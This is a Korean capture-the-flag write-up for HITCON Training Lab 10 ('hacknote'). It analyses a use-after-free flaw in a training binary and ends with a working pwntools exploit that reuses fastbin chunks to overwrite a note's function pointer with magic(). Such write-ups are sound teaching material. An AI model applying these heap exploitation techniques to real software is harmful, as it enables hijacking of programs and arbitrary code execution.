tmxklab
hitcon training [LAB 10] 본문
이번 문제는 힙을 공부한 이후로 처음으로 힙 관련 문제가 나왔다. UAF(Use After Free)
처음 힙 관련 문제를 푸는 것인만큼 상세하게 분석하고 어느 부분에서 취약점이 발생하는지 자세하게 다루도록 하겠다.
1. 문제
1) mitigation확인
2) 문제 확인
3) 코드흐름 파악
3-1) main함수
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
char buf; // [esp+8h] [ebp-10h]
unsigned int v5; // [esp+Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, &buf, 4u);
v3 = atoi(&buf);
if ( v3 != 2 )
break;
del_note();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
print_note();
}
else
{
if ( v3 == 4 )
exit(0);
LABEL_13:
puts("Invalid choice");
}
}
else
{
if ( v3 != 1 )
goto LABEL_13;
add_note();
}
}
}
-
menu 1 : add_note() 호출
-
menu 2 : del_note() 호출
-
menu 3 : print_note() 호출
3-2) add_note함수
unsigned int add_note()
{
_DWORD *v0; // ebx
signed int i; // [esp+Ch] [ebp-1Ch]
int size; // [esp+10h] [ebp-18h]
char buf; // [esp+14h] [ebp-14h]
unsigned int v5; // [esp+1Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i )
{
if ( !notelist[i] )
{
notelist[i] = malloc(8u);
if ( !notelist[i] )
{
puts("Alloca Error");
exit(-1);
}
*(_DWORD *)notelist[i] = print_note_content;
printf("Note size :");
read(0, &buf, 8u);
size = atoi(&buf);
v0 = notelist[i];
v0[1] = malloc(size);
if ( !*((_DWORD *)notelist[i] + 1) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *((void **)notelist[i] + 1), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}
-
notelist[i]에 malloc(0x8) 해준 뒤 print_note_content()주소 값 저장
-
notelist[i]의 두 번째 인덱스에 malloc(size)
-
notelist[i]의 두 번째 인덱스에 size만큼 입력을 받음
-
notelist[index][0] → print_note_content()주소 값 저장, malloc(0x8)
-
notelist[index][1] → size만큼 입력 값 저장, malloc(size)
-
3-3) del_note함수
unsigned int del_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
{
free(*((void **)notelist[v1] + 1));
free(notelist[v1]);
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}
-
free() → notelist[index][1] (입력 값)
-
free() → notelist[index][0] (print_note_content()주소 값)
3-4) print_note함수
unsigned int print_note()
{
int v1; // [esp+4h] [ebp-14h]
char buf; // [esp+8h] [ebp-10h]
unsigned int v3; // [esp+Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("Index :");
read(0, &buf, 4u);
v1 = atoi(&buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( notelist[v1] )
(*(void (__cdecl **)(void *))notelist[v1])(notelist[v1]);
return __readgsdword(0x14u) ^ v3;
}
-
notelist[v1][v1] 호출 (?), 이따가 디버깅해서 확인해보자
3-5) magic함수
int magic()
{
return system("cat /home/hacknote/flag");
}
-
요거를 호출하면 될 듯하다
2. 접근 방법
1) Debugging
1-1) add_note()
-
note size를 30만큼 주고 "AAAA"를 입력 값으로 줬다.
-
두 번의 malloc을 거치고 난 상황이다.
-
notelist[0] → malloc[0x8] 주소 값 → [4bytes] [4bytes]
-
print_note_content() 주소 값 [4bytes]
-
malloc(size) 주소 값(힙 영역, content값이 저장되는 곳) [4bytes]
-
1-2) del_note()
첫 번째 free()
-
notelist[index]→content 부분이 먼저 free됨
두 번째 free()
-
마지막으로 notelist[index]가 free됨
-
참고로 notelist[index]는 malloc(0x8)이 고정이므로 무조건 fastbin[0]에 들어가게 된다.(size가 0x10인 것은 header까지 포함되므로)
notelist확인)
-
add_note()와 del_note()를 각각 두 번 호출했을 때 상황이다.
-
(빨간색 : notelist, 노란색 : content, 초록색 : notelist배열, 파란색 : fd, 보라색 : content주소 값)
-
fastbin[0]에는 notelist[1]과 notelist[0]이 들어가 있고,
-
fastbin[1]에는 notelist[1]→content와 notelist[0]→content가 있다.
-
마지막으로 중요한 점은 free를 진행했어도 notelist에는 아직 notelist[0], [1]의 청크 주소가 남아있다. → 재할당을 위해서
1-3) print_note()
-
[index*4 + 0x804a070] → eax → [eax] → eax
-
즉, notelist[index][0]에 저장된 값을 호출
이정도면 분석은 끝났다. 우리는 최종적으로 magic()를 호출해야 하며 print_note()에서 notelist[index][0]에 저장된 print_note_contetn()를 call하는 것을 볼 수 있다. 이를 이용하여 문제를 풀기로 한다.
2) fastbin
해당 문제는 uaf취약점을 이용한 문제이며 malloc에서 bin의 이해했다면 쉽게 풀 수 있다. fastbin의 특징을 간략하게 설명하면 single linked list의 구조를 가지며 메모리 할당 및 해제가 LIFO(Last in First Out)방식으로 동작한다.
즉, 마지막에 해제된 bin이 먼저 재할당된다.
또한, 위에서 notelist를 보았던 것처럼 fastbin은 빠른 재할당을 위해서 free되었다고 바로 heap영역에서 사라지지 않고(병합도 안됨) fastbin에 저장시켜놧다가 다시 재할당 요구가 들어오면 size에 맞는 bin을 LIFO방식을 통해 선택하여 넣는다.
결론 : notelist에 아직 재할당을 위해 Free Chunk주소가 남아있다.
공격 프로세스)
-
두 번의 add_note()를 호출하여 notelist를 2개 생성한다.
-
두 번의 del_note()를 호출하여 notelist를 2개 free시킨다.
-
한 번의 add_note()를 호출하여 notelist를 1개 생성한다.(이 때, content의 malloc size는 0x8로 한다.)
-
위에서 생성한 notelist에 content넣는 곳에 magic() 주소 값을 넣는다.
-
print_note()를 호출한다.
3. 풀이
위에서 왜 2개를 생성하고 2개를 free시킨 다음에 다시 1개를 생성하는지 이해가 안갈 수 있다.
다음 디버깅을 통해 확인하고 익스 코드를 작성하자
1) Debugging
1-1) notelist 2개 free 이후
-
free(notelist[0]) → free(notelist[1])순으로 free시킨 상황이다.
-
fastbin에 LIFO방식으로 들어가있는 것을 확인할 수 있다.
-
위에서 봤듯이 notelist배열에는 아직 free chunk주소가 남아있다.
1-2) add_note()호출 이후 (첫 번째 malloc) - notelist malloc
-
notelist를 malloc(0x8)한 경우 fastbin[0]에서 제일 마지막에 free되었던 notelist[1]을 재할당하는데 사용되었다.
-
notelist[1](free) → notelist[2](malloc)
1-3) add_note()호출 이후 (두 번째 malloc) - notelist→content malloc
-
notelist→content를 malloc(0x8)한 경우 fastbin[0]에서 마지막으로 남아있던 notelist[0]을 재할당하는데 사용되었다.
-
notelist[0] → notelist[2]→content
-
참고로, 위에서 malloc할 때 size를 0x8만큼 요청한 것은 notelist[0]이 notelist[2]→content에 사용되기 위함이다. (나중에 print_note할 때 보면 앎)
1-4) print_note()호출 이후
-
아까 봤던 부분인데 call eax하기 전에 eax값이 어떻게 변하는지 보자
-
참고로 print_note()할 떄 index값을 0으로 하였음
-
현재 상황은 notelist[0]에 notelist[2]→content가 사용되고 있음
-
그리고 아까 notelist[2]→content에 magic함수의 주소 값을 넣었음
-
결과적으로 notelist[0]의 위치를 call하기로 하였으나 현재 notelist[0]에는 아까 재할당할 때(malloc(size)) notelist[2]→content가 사용하고 있으므로
-
magic()의 주소 값을 저장했던 notelist[2]→content가 호출된다.
2) 익스 코드
from pwn import *
#context.log_level = "debug"
p = process("./hacknote")
e = ELF("./hacknote")
magic_addr = p32(e.symbols['magic'])
#gdb.attach(p)
def add_note(size, data):
p.sendlineafter(":", "1")
p.sendlineafter(":", str(size))
p.sendlineafter(":", data)
def del_note(index):
p.sendlineafter(":", "2")
p.sendlineafter(":", str(index))
def print_note(index):
p.sendlineafter(":", "3")
p.sendlineafter(":", str(index))
add_note(16, "A")
add_note(16, "B")
del_note(0)
del_note(1)
add_note(8, magic_addr)
print_note(0)
p.interactive()
참고로, del_note할 때 인덱스 순서를 반대로 del_note(1) → del_note(0)으로 하면 print_note(1)을 호출하면된다.
왜냐하면 free된 notelist[1]이 notelist[2]→content에 사용되므로
add_note(16, "A")
add_note(16, "B")
del_note(1)
del_note(0)
add_note(8, magic_addr)
print_note(1)
요런 식으로
3) 실행 결과
'War Game > hitcon training' 카테고리의 다른 글
hitcon training [LAB 12] (0) | 2020.07.27 |
---|---|
hitcon training [LAB 11] (0) | 2020.07.25 |
hitcon training [LAB 9] (0) | 2020.07.21 |
hitcon training [LAB 8] (0) | 2020.07.19 |
hitcon training [LAB 7] (0) | 2020.07.19 |